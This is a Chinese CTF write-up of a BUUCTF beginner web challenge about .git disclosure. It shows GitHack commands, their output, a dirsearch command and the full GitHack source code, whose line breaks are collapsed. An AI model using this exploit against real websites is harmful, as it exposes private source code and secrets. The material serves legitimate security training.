[BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

这是作者新开的一个专栏《BUUCTF从零单排》,旨在从零学习CTF知识,方便更多初学者了解各种类型的安全题目,后续分享一定程度会对不同类型的题目进行总结,并结合CTF书籍和真实案例实践,希望对您有所帮助。当然,也欢迎大家去BUUCTF网站实践,由于作者能力有限,该系列文章比较基础,写得不好的地方还请见谅,后续会持续深入,加油!

第一篇文章主要介绍Web方向的基础题目——粗心的小李。该题目主要考察信息收集知识,为了方便大家思考,文章摘要部分尽量少提,大家也可以先尝试实践,再看WriteUp。基础性文章,希望对您有所帮助,尤其是对网络安全工具的使用和理解。

  • 欢迎关注作者新建的『网络攻防和AI安全之家』知识星球(文章末尾)

文章目录

  • 一.BUUCTF注册
  • 二.题目描述
  • 三.解题思路
  • 四.探索
  • 五.总结

前文赏析:

  • [BUUCTF从零单排] Web方向 01.Web入门篇之粗心的小李解题思路

一.BUUCTF注册

首先,我们需要注册BUUCTF,该网站如下图所示:

  • https://buuoj.cn/

在这里插入图片描述

安装过程如下所示,密钥通行证验证跳过即可。

在这里插入图片描述

成功注册后如下图所示,我们可以在“练习场”开启各种类型的题目。

  • Basic
  • Crypto
  • DASBOOK
  • Misc
  • N1BOOK
  • Pwn
  • Real
  • Reverse
  • Web
  • 加固题

在这里插入图片描述

在这里插入图片描述


二.题目描述

该题目的具体描述如下:

  • 题目:[第一章 web入门]粗心的小李
  • 方向:信息收集
  • 来源:《从0到1:CTFer成长之路》书籍配套题目,来源网站:book.nu1l.com
  • 描述:看看能不能找到信息吧?

在这里插入图片描述

在这里插入图片描述

接着解锁该题目并开启探索。

在这里插入图片描述

打开网站如下所示:

  • http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81

在这里插入图片描述


三.解题思路

首先,该题目考察的是信息收集。作为初学者,我们第一想法是网站扫描和源码解析,如下图所示:

在这里插入图片描述

然而,源码并没有东西,并且题目提示是Git泄露信息,因此换种方法。

在这里插入图片描述

在这里插入图片描述

因此,我们尝试利用GitHack工具来捕获git泄露的文件。

GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。

  • https://github.com/lijiejie/GitHack

在这里插入图片描述

该工具下载解压如下图所示:

在这里插入图片描述

接着我们输入CMD打开该目录,并尝试运行该Python代码。

在这里插入图片描述

在这里插入图片描述

输入指定命令:

  • python GitHack.py URL/.git/
  • python GitHack.py http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81/.git/

在这里插入图片描述

运行结果如下图所示:

D:\...\BUUCTF\GitHack-master>python GitHack.py http://3098c166-1700-49bd-81c2-651eb891bbfd.node5.buuoj.cn:81/.git/
[+] Download and parse index file ...
[+] index.html
[OK] index.html

在这里插入图片描述

最终在本地查看对应的index.html文件即可查看对应的Flag。

在这里插入图片描述

最终结果如下:

  • n1book{git***fun}

在这里插入图片描述

在这里插入图片描述


四.探索

此外,读者可以尝试不同的方法,比如说收集特定网页并进行测试,一种方法是直接访问某些页面。

在这里插入图片描述

另一种方法是利用某些工具进行网站扫描,比如dirsearch。但非常遗憾,未发现目标,但相关思路值得我们学习。

  • python3 dirsearch.py -u 目标网址-e*

最后,大家可以学习下GitHack的源码,方便大家学会信息采集。关键代码如下:

GitHack.py

#!/usr/bin/env python
# -*- encoding: utf-8 -*-import sys
try:# python 2.ximport urllib2import urlparseimport Queue
except Exception as e:# python 3.ximport urllib.request as urllib2import urllib.parse as urlparseimport queue as Queueimport os
import zlib
import threading
import re
import time
from lib.parser import parse
import sslcontext = ssl._create_unverified_context()
user_agent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' \'Chrome/99.0.4844.82 Safari/537.36'
if len(sys.argv) == 1:msg = """
A `.git` folder disclosure exploit. By LiJieJieUsage: python GitHack.py http://www.target.com/.git/
"""print(msg)sys.exit(0)class Scanner(object):def __init__(self):self.base_url = sys.argv[-1]self.domain = urlparse.urlparse(sys.argv[-1]).netloc.replace(':', '_')print('[+] Download and parse index file ...')try:data = self._request_data(sys.argv[-1] + '/index')except Exception as e:print('[ERROR] index file download failed: %s' % str(e))exit(-1)with open('index', 'wb') as f:f.write(data)if not os.path.exists(self.domain):os.mkdir(self.domain)self.dest_dir = os.path.abspath(self.domain)self.queue = Queue.Queue()for entry in parse('index'):if "sha1" in entry.keys():entry_name = entry["name"].strip()if self.is_valid_name(entry_name):self.queue.put((entry["sha1"].strip(), entry_name))try:print('[+] %s' % entry['name'])except Exception as e:passself.lock = threading.Lock()self.thread_count = 10self.STOP_ME = Falsedef is_valid_name(self, entry_name):if entry_name.find('..') >= 0 or \entry_name.startswith('/') or \entry_name.startswith('\\') or \not os.path.abspath(os.path.join(self.domain, entry_name)).startswith(self.dest_dir):try:print('[ERROR] Invalid entry name: %s' % entry_name)except Exception as e:passreturn Falsereturn True@staticmethoddef _request_data(url):request = urllib2.Request(url, None, {'User-Agent': user_agent})return urllib2.urlopen(request, context=context).read()def _print(self, msg):self.lock.acquire()try:print(msg)except Exception as e:passself.lock.release()def get_back_file(self):while not self.STOP_ME:try:sha1, file_name = self.queue.get(timeout=0.5)except Exception as e:breakfor i in range(3):try:folder = '/objects/%s/' % sha1[:2]data = self._request_data(self.base_url + folder + sha1[2:])try:data = zlib.decompress(data)except:self._print('[Error] Fail to decompress %s' % file_name)# data = re.sub(r'blob \d+\00', '', data)try:data = re.sub(r'blob \d+\00', '', data)except Exception as e:data = re.sub(b"blob \\d+\00", b'', data)target_dir = os.path.join(self.domain, os.path.dirname(file_name))if target_dir and not os.path.exists(target_dir):os.makedirs(target_dir)with open(os.path.join(self.domain, file_name), 'wb') as f:f.write(data)self._print('[OK] %s' % file_name)breakexcept urllib2.HTTPError as e:if str(e).find('HTTP Error 404') >= 0:self._print('[File not found] %s' % file_name)breakexcept Exception as e:self._print('[Error] %s' % str(e))self.exit_thread()def exit_thread(self):self.lock.acquire()self.thread_count -= 1self.lock.release()def scan(self):for i in range(self.thread_count):t = threading.Thread(target=self.get_back_file)t.start()if __name__ == '__main__':s = Scanner()s.scan()try:while s.thread_count > 0:time.sleep(0.1)except KeyboardInterrupt as e:s.STOP_ME = Truetime.sleep(1.0)print('User Aborted.')

五.总结

写到这里,这篇文章就介绍完毕,基础性文章,希望对您有所帮助。同时建议读者多实践,尝试各种类型的CTF题目。

2024年4月28日是Eastmount的安全星球——『网络攻防和AI安全之家』正式创建和运营的日子,该星球目前主营业务为 安全零基础答疑、安全技术分享、AI安全技术分享、AI安全论文交流、威胁情报每日推送、网络攻防技术总结、系统安全技术实战、面试求职、安全考研考博、简历修改及润色、学术交流及答疑、人脉触达、认知提升等。下面是星球的新人券,欢迎新老博友和朋友加入,一起分享更多安全知识,比较良心的星球,非常适合初学者和换安全专业的读者学习。

在这里插入图片描述
目前收到了很多博友、朋友和老师的支持和点赞,尤其是一些看了我文章多年的老粉,购买来感谢,真的很感动,类目。未来,我将分享更多高质量文章,更多安全干货,真心帮助到大家。虽然起步晚,但贵在坚持,像十多年如一日的博客分享那样,脚踏实地,只争朝夕。继续加油,再次感谢!

(By:Eastmount 2024-06-20 夜于贵阳 http://blog.csdn.net/eastmount/ )


本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/31045.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

微软Azure AI更新视频翻译和语音翻译 API 功能!企业适用TTS文本转语音

很高兴与大家分享 Azure AI 语音翻译产品套件的两个重大更新! 分别是视频翻译和增强的实时语音翻译 API。 视频翻译(批量) 微软宣布推出视频翻译预览版,这是一项突破性的服务,旨在改变企业本地化视频内容的方式。 随着…

微博舆情分析系统可以继续完善的基于python 前端vue

微博舆情分析系统可以继续完善的,前后端分离,前端基于vue 后端基于python的flask可以说是非常的简洁,支持实时更新数据。界面如图 主要工作点体现在后端实时更新数据跟数据的处理方面上,后续有空会用hadoop来处理海量数据真…

C++语法07 程序中的除法和求余

程序中的除法 int / int int double / int double int / double double double / double double 规律总结 只要除号任意一边出现了double类型,结果就是double类型 只有除号两边都是int类型,结果才是int类型 这个规律也适用于加法减法和乘法 …

用国内首家文生软件平台生成一个整蛊拼图小游戏是什么体验?

前言: 众所周知,2023年是中国大模型发展的元年,以ChatGPT3.5为代表的初代语言大模型横空出世,直接掀起了一阵全球范围内的AIGC浪潮。 在中国大模型追星赶月的这一年,技术迭代日新月异,行业趋势不断变化&a…

IIS配置網站登錄驗證,禁止匿名登陸

需要維護一個以前的舊系統,這個系統在內網運行,需要抓取電腦的登陸賬號,作為權限管理的一部分因此需要在IIS配置一下

Nature正刊!亚利桑那大学博士生陈舒立一作兼通讯最新成果!揭示亚马逊雨林干旱响应的生物地理学机制

2024年6月19日,国际知名学术期刊《Nature》发表了一项美国亚利桑那大学Scott Saleska教授团队的最新成果“Amazon forest biogeography predicts resilience and vulnerability to drought”。通过将森林样地调查数据与遥感观测相结合系统揭示了亚马逊雨林干旱响应的…

机器学习——RNN、LSTM

RNN 特点:输入层是层层相关联的,输入包括上一个隐藏层的输出h1和外界输入x2,然后融合一个张量,通过全连接得到h2,重复 优点:结构简单,参数总量少,在短序列任务上性能好 缺点&#x…

姿态识别论文复现(一)安装包+下载数据

Lite-HRNet:轻量级高分辨率网络 简介:高分辨率网络Lite-HRNet,用于人体姿态估计 环境配置:该代码是在 Ubuntu 16.04 上使用 python 3.6 开发的。需要 NVIDIA GPU。使用 8 个 NVIDIA V100 GPU 卡进行开发和测试。其他平台或 GPU …

CheckPoint 防火墙 CVE-2024-24919 VPN 漏洞修复说明

1. 漏洞说明 在 2024 年 5 月 27 日进行安全更新后,Check Point 的专门工作组将继续调查未经授权访问我们客户使用的 VPN 产品的企图。 2024 年 5 月 28 日,我们在远程访问 VPN 社区和移动访问软件刀片中使用 IPsec VPN 的安全网关中发现了一个漏洞 (…

搜维尔科技:「案例」NBA新科冠军与Xsens运动捕捉的缘分

北京时间昨日,凯尔特人在主场106比88击败独行侠,以总比分4比1获胜,夺得队史第18冠,超越湖人队(17冠)成为历史上夺冠次数最多的球队。凯尔特人队上一次夺冠还是在2007-2008赛季。 凯尔特人队主力Jayson Tat…

Api Post快速上手教程

Apipost快速上手教程可以按照以下步骤进行: 一、准备工作 访问Apipost官网下载并安装Apipost客户端,或者选择使用其Web端版本。注册并登录Apipost账号,以便更好地管理和使用你的项目。官网:Apipost-API 文档、设计、调试、自动化…

Day1:基础语法

今日目标:理解什么是变量、掌握常用的数据类型、学会数据类型转换 一、JavaScript 介绍 1. JavaScript 基础知识 主要讲解 :JavaScript 是什么、书写位置、注释、结束符、输入和输出语法、字面量。 1.1 JavaScript 是什么 是一种运行在客户端(浏览器…

Python数据科学 | 是时候跟Conda说再见了

本文来源公众号“Python数据科学”,仅用于学术分享,侵权删,干货满满。 原文链接:是时候跟Conda说再见了 1 简介 conda作为Python数据科学领域的常用软件,是对Python环境及相关依赖进行管理的经典工具,通…

ChatGPT提效:告别CRUD

前言 随着AIGC的发展以及大语言模型的成熟,各种AI应用眼花缭乱,以至于我们看到各种新奇的应用都会产生焦虑,我有一天会不会被淘汰?且看后文分析。AIGC的发展与逐渐成熟已经是无可逆转的局势,既然我们打不过为何不加入…

软件构造 | Equality in ADT and OOP

软件构造 | Equality in ADT and OOP 🧇1 Three ways to regard equality 1.1 Using AF to define the equality ADT是对数据的抽象, 体现为一组对数据的操作 抽象函数AF:内部表示→抽象表示 基于抽象函数AF定义ADT的等价操作&#xff0…

海南聚广众达电子商务咨询有限公司可信吗?

在数字化浪潮席卷全球的今天,电商行业已成为推动经济增长的重要力量。而在这个领域中,海南聚广众达电子商务咨询有限公司凭借其专业、精准的服务,在抖音电商领域独树一帜,成为行业的佼佼者。 海南聚广众达电子商务咨询有限公司自…

07-appium常用操作

一、press_keycode 1)方法说明 press_keycode方法是appium的键盘相关函数,可以实现键盘的相关操作,比如返回、按键、音量调节等等。也可以使用keyevent方法,功能与press_keycode方法类似。 # KeyCode:各种操作对应的…

【Axure教程】移动端多选图片上传

在移动端应用中,提供多选图片上传功能对于用户体验和功能性具有重要意义,尤其是在像微信、微博等社交媒体平台上。 例如用户可以快速上传多张图片进行分享,发布相册或创建图文并茂的动态;卖家可以一次性上传多个产品图片&#xf…

劲爆!Kimi月之暗面可以接入微信,智能升级, 打造个性多Agent(二)

前言 在当今这个快速发展的AI时代,抖音推出了一个名为“扣子Coze”的工具,帮助用户快速、低门槛地搭建属于自己的AI机器人。本文将详细介绍如何使用扣子Coze配置自己的AI Agent,并展示其在多个平台上的应用。 如何使用多个Agent 搭建更加智…

chatgpt: linux 下用纯c 编写一按钮,当按钮按下在一新窗口显示hello world

用这个程序模板,就可以告别只能在黑框框的终端中编程了。 在 Linux 环境下使用纯 C 语言编写一个按钮,当按钮按下时,在一个新窗口显示 "Hello World"。我们可以使用 GTK 库来实现这个功能。GTK 是一个用于创建图形用户界面的跨平台…